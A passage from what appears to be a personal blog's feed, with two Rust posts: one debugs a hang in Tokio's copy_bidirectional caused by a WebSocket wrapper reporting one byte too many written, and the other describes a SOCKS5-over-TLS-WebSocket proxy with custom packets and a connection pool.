*a)?;</span><br></pre></td></tr></table></figure><p>The <code>transfer_one_direction</code> implementation uses a large loop to implement the TransferState state transitions. TransferState changes from Running to ShuttingDown and finally to Done. The core logic is in the Running step, where CopyBuffer avoids the overhead of initializing the buffer multiple times during bidirectional copying. <code>CopyBuffer</code>‘s <code>poll_copy</code> method copies data from <code>reader</code> to <code>writer </code>.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">count</span> = ready!(buf.<span class="title function_ invoke__">poll_copy</span>(cx, r.<span class="title function_ invoke__">as_mut</span>(), w.<span class="title function_ invoke__">as_mut</span>(), prefix.<span class="title function_ invoke__">clone</span>()))?;</span><br></pre></td></tr></table></figure><p><code>poll_copy</code> also contains a large loop that repeatedly calls poll_read on the reader and writes the data it reads to the writer, while updating CopyBuffer’s state. For example, it sets read_done to true when reading is complete, and updates pos and cap after data is normally read and written to the writer. The data between pos and cap is the data expected to be written to the writer.</p><p>At this point, I have covered most of the logic of <code>copy_directional</code>. It looked as though swapping the arguments to <code>copy_bidirectional</code> should make the two directions completely equivalent (of course, if I had been a little more careful at this point… the rest of this article would not exist, haha).</p><p>Could the thread be stuck in poll_copy?</p><ul><li>The first step was to see whether the thread was stuck copying from inbound (TcpStream) to outbound (a -&gt; b), or from outbound to inbound (b -&gt; a). Therefore, I added <code>prefix: String</code> to the <code>transfer_one_direction</code> signature, and also modified buf’s <code>poll_copy</code> signature to add <code>prefix: String</code>.</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">fn transfer_one_direction&lt;A, B&gt;(</span><br><span class="line">    cx: &amp;mut Context&lt;&#x27;_&gt;,</span><br><span class="line">    state: &amp;mut TransferState,</span><br><span class="line">    r: &amp;mut A,</span><br><span class="line">    w: &amp;mut B,</span><br><span class="line">    prefix: String,</span><br><span class="line">) -&gt; Poll&lt;io::Result&lt;u64&gt;&gt;</span><br><span class="line">where</span><br><span class="line">    A: AsyncRead + AsyncWrite + Unpin + ?Sized,</span><br><span class="line">    B: AsyncRead + AsyncWrite + Unpin + ?Sized,</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">fn</span> <span class="title function_">poll_copy</span>&lt;R, W&gt;(</span><br><span class="line">  &amp;<span class="keyword">mut</span> <span class="keyword">self</span>,</span><br><span class="line">  cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">  <span class="keyword">mut</span> reader: Pin&lt;&amp;<span class="keyword">mut</span> R&gt;,</span><br><span class="line">  <span class="keyword">mut</span> writer: Pin&lt;&amp;<span class="keyword">mut</span> W&gt;,</span><br><span class="line">  prefix: <span class="type">String</span>,</span><br><span class="line">) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;<span class="type">u64</span>&gt;&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">  R: AsyncRead + ?<span class="built_in">Sized</span>,</span><br><span class="line">  W: AsyncWrite + ?<span class="built_in">Sized</span>,</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;out &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">loop</span> &#123;</span><br><span class="line">    <span class="comment">// If our buffer is empty, then we need to read some data to</span></span><br><span class="line">    <span class="comment">// continue.</span></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;in &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This step required patching Tokio’s code so that I could easily modify the copy_bidirectional logic while debugging.</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[patch.crates-io]</span></span><br><span class="line"><span class="attr">tokio</span> = &#123; path=<span class="string">&quot;/home/suika/code/github/tokio/tokio&quot;</span> &#125;</span><br></pre></td></tr></table></figure><p>After rerunning it, I found that it was frantically printing <code>a -&gt; b</code>, which meant it was stuck in the logic copying data from TcpStream to WebSocketStream.</p><ul><li>I then added many log lines inside the <code>poll_copy</code> loop.</li></ul><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">fn</span> <span class="title function_">poll_copy</span>&lt;R, W&gt;(</span><br><span class="line">  &amp;<span class="keyword">mut</span> <span class="keyword">self</span>,</span><br><span class="line">  cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">  <span class="keyword">mut</span> reader: Pin&lt;&amp;<span class="keyword">mut</span> R&gt;,</span><br><span class="line">  <span class="keyword">mut</span> writer: Pin&lt;&amp;<span class="keyword">mut</span> W&gt;,</span><br><span class="line">  prefix: <span class="type">String</span>,</span><br><span class="line">) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;<span class="type">u64</span>&gt;&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">  R: AsyncRead + ?<span class="built_in">Sized</span>,</span><br><span class="line">W: AsyncWrite + ?<span class="built_in">Sized</span>,</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">debug_assert!</span>(<span class="literal">true</span>, <span class="string">&quot;abc&quot;</span>);</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;out &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">loop</span> &#123;</span><br><span class="line">    <span class="comment">// If our buffer is empty, then we need to read some data to</span></span><br><span class="line">    <span class="comment">// continue.</span></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;in &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">self</span>.pos == <span class="keyword">self</span>.cap &amp;&amp; !<span class="keyword">self</span>.read_done &#123;</span><br><span class="line">      ...</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">println!</span>(<span class="string">&quot;#2 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> <span class="variable">n</span> = buf.<span class="title function_ invoke__">filled</span>().<span class="title function_ invoke__">len</span>();</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// If our buffer has some data, let&#x27;s write it out!</span></span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">self</span>.pos &lt; <span class="keyword">self</span>.cap &#123;</span><br><span class="line">      <span class="built_in">println!</span>(<span class="string">&quot;#3 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;#4 &#123;&#125; start copy lalalala, pos &#123;&#125; cap &#123;&#125; read_done &#123;&#125;&quot;</span>, prefix, <span class="keyword">self</span>.pos, <span class="keyword">self</span>.cap, <span class="keyword">self</span>.read_done);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// If we&#x27;ve written all the data and we&#x27;ve seen EOF, flush out the</span></span><br><span class="line">    <span class="comment">// data and finish the transfer.</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">self</span>.pos == <span class="keyword">self</span>.cap &amp;&amp; <span class="keyword">self</span>.read_done &#123;</span><br><span class="line">      ready!(writer.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll_flush</span>(cx))?;</span><br><span class="line">      <span class="keyword">return</span> Poll::<span class="title function_ invoke__">Ready</span>(<span class="title function_ invoke__">Ok</span>(<span class="keyword">self</span>.amt));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>After rerunning it, I found that it was frantically printing the <code>#4 </code> log line, and pos was 69 while cap was 68! I was secretly delighted. Could this be a Tokio bug? But a simple echo server I had written earlier worked normally, so it still had to be my problem. I then carefully examined the following code and suddenly remembered that when I implemented poll_write for WebSocketStream, the length I returned was <code>buf.len() + 1</code> (1 was the length of my custom packet header). The problem was immediately obvious.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// If our buffer has some data, let&#x27;s write it out!</span></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">self</span>.pos &lt; <span class="keyword">self</span>.cap &#123;</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;#3 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">let</span> <span class="variable">me</span> = &amp;<span class="keyword">mut</span> *<span class="keyword">self</span>;</span><br><span class="line">  <span class="keyword">let</span> <span class="variable">i</span> = ready!(writer.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll_write</span>(cx, &amp;me.buf[me.pos..me.cap]))?;</span><br><span class="line">  <span class="keyword">if</span> i == <span class="number">0</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> Poll::<span class="title function_ invoke__">Ready</span>(<span class="title function_ invoke__">Err</span>(io::Error::<span class="title function_ invoke__">new</span>(</span><br><span class="line">      io::ErrorKind::WriteZero,</span><br><span class="line">      <span class="string">&quot;write zero byte into writer&quot;</span>,</span><br><span class="line">    )));</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">self</span>.pos += i;</span><br><span class="line">    <span class="keyword">self</span>.amt += i <span class="keyword">as</span> <span class="type">u64</span>;</span><br><span class="line">    <span class="keyword">self</span>.need_flush = <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;#4 &#123;&#125; start copy lalalala, pos &#123;&#125; cap &#123;&#125; read_done &#123;&#125;&quot;</span>, prefix, <span class="keyword">self</span>.pos, <span class="keyword">self</span>.cap, <span class="keyword">self</span>.read_done);</span><br></pre></td></tr></table></figure><p>At the time, I found it hilarious. Nevertheless, the debugging process was very meaningful. At moments like this, I am reminded of something someone said: you can’t master it if you don’t understand it</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;The Tokio library provides the &lt;a href=&quot;https://docs.rs/tokio/1.6.1/tokio/io/fn.copy_bidirectional.html&quot;&gt;copy_bidirectional&lt;/a&gt; method, which makes it easy to copy data bidirectionally for data structures that implement &lt;code&gt;AsyncRead+AsyncWrite&lt;/code&gt;. In my previous article (which is still being revised), I implemented a simple proxy based on WebSocket, using &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; as the WebSocket library.&lt;/p&gt;
&lt;p&gt;Originally, I customized a function similar to bidirectional copying on the client side instead of directly using &lt;code&gt;copy_bidirectional&lt;/code&gt;. This was because the WebSocketStream built on TcpStream by &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; did not implement &lt;code&gt;AsyncRead+AsyncWrite&lt;/code&gt;. In addition, the WebSocketStream returned by &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; does not expose convenient read and write methods; it only implements Sink and Stream. However, it provides a &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/struct.WebSocketStream.html#method.split&quot;&gt;split&lt;/a&gt; method that separates the stream’s reads and writes. The split read half blindly writes the data it reads to TcpStream, while the split write half blindly writes data read from TcpStream to its own stream. The resulting problem is that when reads and writes are separated, there is no graceful way to detect a Close packet and exit the read and write flows described above. Here is a simple illustration of the original implementation:&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>Implementing a SOCKS5 Proxy with Rust</title>
    <link href="https://suikammd.github.io/2021/09/11/rust-proxy/"/>
    <id>https://suikammd.github.io/2021/09/11/rust-proxy/</id>
    <published>2021-09-11T15:53:53.000Z</published>
    <updated>2026-11-19T12:58:15.310Z</updated>
    
    <content type="html"><![CDATA[<p>The first step toward becoming familiar with a language might be writing a proxy with it. After studying Rust syntax for a long time, I still had little opportunity to use it at work, so I had to create a need for it myself. I hope to find a job writing Rust in the future, or one that gives me the freedom to learn new things.</p><h2 id="What-are-this-proxy’s-features"><a href="#What-are-this-proxy’s-features" class="headerlink" title="What are this proxy’s features?"></a>What are this proxy’s features?</h2><ul><li>Based on Rust</li></ul><p>The main purpose is to practice writing Rust. Rust is also safe and efficient.</p><ul><li>Based on TLS WebSocket</li></ul><p>Getting past the mysterious wall requires an encrypted connection; otherwise, it can easily get killed. A common approach, like the one used by Shadowsocks, is to define a custom encryption protocol, but that is rather troublesome. To keep things simple, I used TLS WebSocket directly for this purpose.</p><ul><li>Pooled WebSocket connections</li></ul><p>The benefits of connection pooling hardly need explaining. Eliminating connection establishment time makes the proxy faster.</p><p>The overall proxy flow looks like this:</p><p><img src="https://i.imgur.com/jlSE51Z.png" alt="Rust proxy pipeline"></p><p>Source code: <a href="https://github.com/suikammd/rust-proxy">https://github.com/suikammd/rust-proxy</a></p><span id="more"></span><h2 id="Prerequisites"><a href="#Prerequisites" class="headerlink" title="Prerequisites"></a>Prerequisites</h2><p>(Not required)</p><h2 id="Overall-client-side-flow"><a href="#Overall-client-side-flow" class="headerlink" title="Overall client-side flow"></a>Overall client-side flow</h2><p><img src="https://i.imgur.com/oqe5bDA.png" alt="Proxy client"></p><h2 id="Code-design"><a href="#Code-design" class="headerlink" title="Code design"></a>Code design</h2><p>The connection between the browser and the client is a regular SOCKS5 connection, and the connection between the server and the destination the browser wants to access is a regular TCP connection. Between the client and server, however, there are pooled WebSocket connections. There are four main things we need to do:</p><p>(1) Parse the SOCKS5 protocol to obtain the destination address the browser wants to access.</p><p>(2) Define custom packets. The same WebSocket connection corresponds to multiple SOCKS5 connections from the browser to the client. Therefore, when a new SOCKS5 connection is established, the server needs to know the address the browser wants to access (a Connect packet). When the SOCKS5 connection is closed, a termination packet needs to be sent (a Close packet), so that the server returns to the state of waiting for a Connect packet.</p><p>(3) Pool WebSocket connections, which involves implementing a general-purpose connection pool.</p><p>(4) Tokio provides a bidirectional copying method that requires the data structure to implement the AsyncRead + AsyncWrite traits. Because the WebSocketStream defined by <a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a> does not implement these two traits, we also need to implement them ourselves.</p><h3 id="Parsing-the-SOCKS5-protocol"><a href="#Parsing-the-SOCKS5-protocol" class="headerlink" title="Parsing the SOCKS5 protocol"></a>Parsing the SOCKS5 protocol</h3><ul><li>The browser and client agree on the protocol version and authentication method.</li></ul><table><thead><tr><th>VER</th><th>NMETHODS</th><th>METHODS</th></tr></thead><tbody><tr><td>1</td><td>1</td><td>1-255</td></tr></tbody></table><p>VER: SOCKS version, which is 0x05 here.</p><p>NMETHODS: The number of METHODS.</p><p>METHODS: Authentication methods supported by the client.</p><ul><li>The client selects one of the authentication methods specified by the browser and replies with it.</li></ul><table><thead><tr><th align="center">VER</th><th align="center">METHOD</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">1</td></tr></tbody></table><p>METHOD: The authentication method selected by the client.</p><p>For now, this article uses 0x00 (meaning no authentication is required).</p><ul><li>The browser sends a request message telling the client which address it wants to access.</li></ul><table><thead><tr><th align="center">VER</th><th align="center">CMD</th><th align="center">RSV</th><th align="center">ATYP</th><th align="center">DST.ADDR</th><th align="center">DST.PORT</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">1</td><td align="center">0x00</td><td align="center">1</td><td align="center">Variable</td><td align="center">2</td></tr></tbody></table><p>CMD: SOCKS command code: 0x01 (Connect request), 0x02 (BIND request), or 0x03 (UDP relay).</p><p>RSV: Reserved byte, 0x00.</p><p>ATYP: Type of DST.ADDR: 0x01 (IPv4), 0x03 (domain name), or 0x04 (IPv6).</p><p>DST.ADDR: Destination address.</p><p>DST.PORT: Destination port.</p><ul><li>After the client processes the address the browser wants to access, it returns the result to the browser.</li></ul><table><thead><tr><th>VER</th><th>REP</th><th>RSV</th><th>ATYP</th><th>BND.ADDR</th><th>BND.PORT</th></tr></thead><tbody><tr><td>1</td><td>1</td><td>0x00</td><td>1</td><td>Variable</td><td>2</td></tr></tbody></table><p> The content is almost the same as the browser’s request packet.</p><h3 id="Custom-packet-structure"><a href="#Custom-packet-structure" class="headerlink" title="Custom packet structure"></a>Custom packet structure</h3><p>There are three types of packets sent from the client to the server: Connect packets (which tell the server the destination address the browser wants to access), Data packets (browser request data), and Close packets (which indicate that the SOCKS5 connection has been disconnected or has ended), as shown below.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Packet</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">Connect</span>(Addr),</span><br><span class="line">    <span class="title function_ invoke__">Data</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="title function_ invoke__">Close</span>(),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Addr</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">IpV4</span>(([<span class="type">u8</span>; <span class="number">4</span>], <span class="type">u16</span>)),</span><br><span class="line">    <span class="title function_ invoke__">Domain</span>((<span class="type">String</span>, <span class="type">u16</span>)),</span><br><span class="line">    <span class="title function_ invoke__">IpV6</span>(([<span class="type">u8</span>; <span class="number">16</span>], <span class="type">u16</span>)),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Incidentally, this repository is implemented using the <a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a> WebSocket library. Its design is unreasonable in many ways. For example, there is no way to reuse buffers. Consider the following code: when I construct a Binary packet, I need to pass in a Vec. Even if I pass in another kind of packet, it is converted into a Vec through <code>bin.into()</code>, effectively making another copy. It would be better to pass in a Vec directly. If I optimize the proxy later, I will consider rewriting this WebSocket library.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Message</span> &#123;</span><br><span class="line">    <span class="comment">/// A text WebSocket message</span></span><br><span class="line">    <span class="title function_ invoke__">Text</span>(<span class="type">String</span>),</span><br><span class="line">    <span class="comment">/// A binary WebSocket message</span></span><br><span class="line">    <span class="title function_ invoke__">Binary</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A ping message with the specified payload</span></span><br><span class="line">    <span class="comment">///</span></span><br><span class="line">    <span class="comment">/// The payload here must have a length less than 125 bytes</span></span><br><span class="line">    <span class="title function_ invoke__">Ping</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A pong message with the specified payload</span></span><br><span class="line">    <span class="comment">///</span></span><br><span class="line">    <span class="comment">/// The payload here must have a length less than 125 bytes</span></span><br><span class="line">    <span class="title function_ invoke__">Pong</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A close message with the optional close frame.</span></span><br><span class="line">    <span class="title function_ invoke__">Close</span>(<span class="type">Option</span>&lt;CloseFrame&lt;<span class="symbol">&#x27;static</span>&gt;&gt;),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Message</span> &#123;</span><br><span class="line">    <span class="comment">/// Create a new binary WebSocket message by converting to Vec&lt;u8&gt;.</span></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">binary</span>&lt;B&gt;(bin: B) <span class="punctuation">-&gt;</span> Message</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">        B: <span class="built_in">Into</span>&lt;<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;&gt;,</span><br><span class="line">    &#123;</span><br><span class="line">        Message::<span class="title function_ invoke__">Binary</span>(bin.<span class="title function_ invoke__">into</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Connection-pool-implementation"><a href="#Connection-pool-implementation" class="headerlink" title="Connection pool implementation"></a>Connection pool implementation</h3><p>As the name suggests, a connection pool contains a large number of already established connections. Its value is beyond doubt in a proxy scenario where the remote endpoint is fixed. What functionality does our connection pool need? In short, it takes connections out of the pool and puts them back. To make the pool fast enough, however, we can optimize connection acquisition as follows: if there are no idle connections in the pool, we can put a waiter in the pool (actually the sending end of a channel). When someone finishes using a connection, they can hand it directly to this waiter. We also create a new connection at the same time, then use <code>future::select</code> to wait for either the waiter to receive a connection or the new connection to finish being created.</p><p>At this point, we can summarize the pool definition, which could look like this:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Pool</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Mutex&lt;Inner&lt;T&gt;&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Inner</span>&lt;T&gt; &#123;</span><br><span class="line">    idle: <span class="type">Vec</span>&lt;T&gt;,</span><br><span class="line">    waiters: VecDeque&lt;oneshot::Sender&lt;T&gt;&gt;,</span><br><span class="line">    max_idle: <span class="type">usize</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>idle holds idle connections, waiters holds the waiters inserted when requesting a connection from the pool, and max_idle is the maximum number of idle connections.</p><p>(1) What does this pool need to do?</p><ul><li><p>Manage idle connections: this is essentially just a vec.</p></li><li><p>Take a connection out of the pool.</p></li></ul><p>There are two cases:</p><p>(1) If idle has an available connection, pop an idle connection directly from idle.</p><p>(2) Push a new waiter into waiters, and use the make_service passed into the get method to create a new connection at the same time. Then use <code>future::select</code> to wait for either someone to return a used connection to the waiter or the new connection to finish being created. There is also an interesting optimization here: if someone returns a used connection to the waiter first, wouldn’t half-creating the new connection be wasteful? Not a problem. We can use <code>tokio::spwan</code> to continue creating the new connection in the background, then put the newly created connection into idle.</p><p>The returned data structure is defined as follows: one field is the connection itself, and the other is a weak reference to the pool. Why does inner need to be an Option? Because this makes it convenient to take the connection out without triggering <code>Pooled</code>‘s destructor, and we can insert it back after use. Why do we need to hold a weak reference to the pool? Because we need to know which pool to return the connection to.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Pooled</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> inner: <span class="type">Option</span>&lt;T&gt;,</span><br><span class="line">    pool: Weak&lt;Mutex&lt;Inner&lt;T&gt;&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>By now, you can probably imagine how connections are returned to the pool.</p><ul><li>Return a connection to the pool.</li></ul><p>When a connection is no longer being used, we do not close it. Instead, its destructor returns it to the pool. Therefore, we can implement the <code>Drop</code> trait for <code>Pooled</code> and call the pool’s put method in drop to actually return the connection to the pool.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;T&gt; <span class="built_in">Drop</span> <span class="keyword">for</span> <span class="title class_">Pooled</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">self</span>.inner.<span class="title function_ invoke__">is_none</span>() &#123;</span><br><span class="line">            info!(<span class="string">&quot;inner drop is not some?&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">t</span> = <span class="keyword">self</span>.inner.<span class="title function_ invoke__">take</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(pool) = <span class="keyword">self</span>.pool.<span class="title function_ invoke__">upgrade</span>() &#123;</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Ok</span>(<span class="keyword">mut</span> pool) = pool.<span class="title function_ invoke__">lock</span>() &#123;</span><br><span class="line">                pool.<span class="title function_ invoke__">put</span>(t);</span><br><span class="line">                info!(<span class="string">&quot;successfully put ws stream back to pool&quot;</span>)</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The acquisition logic tells us what returning a connection to the pool should do. First, check whether there is a waiter. If there is, give the connection directly to the waiter; if not, put the connection back into idle.</p><ul><li>Detect connection status.</li></ul><p>If a connection in the pool dies and we do not detect it promptly, the client may receive a dead connection, resulting in a terrible user experience. Therefore, we also need to periodically check the status of connections in the pool. To do this, we need to define a Poolable trait and remove a connection from the pool if it is not reuseable.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Poolable</span> &#123;</span><br><span class="line">    <span class="comment">// check if the connection is opened</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">reuseable</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">bool</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Of course, this is actually a fairly general-purpose implementation, but the code here does not accomplish this yet. The underlying layer cannot detect the connection status, so the upper layer still needs to actively perform health checks. That logic has not been implemented yet.</p><h3 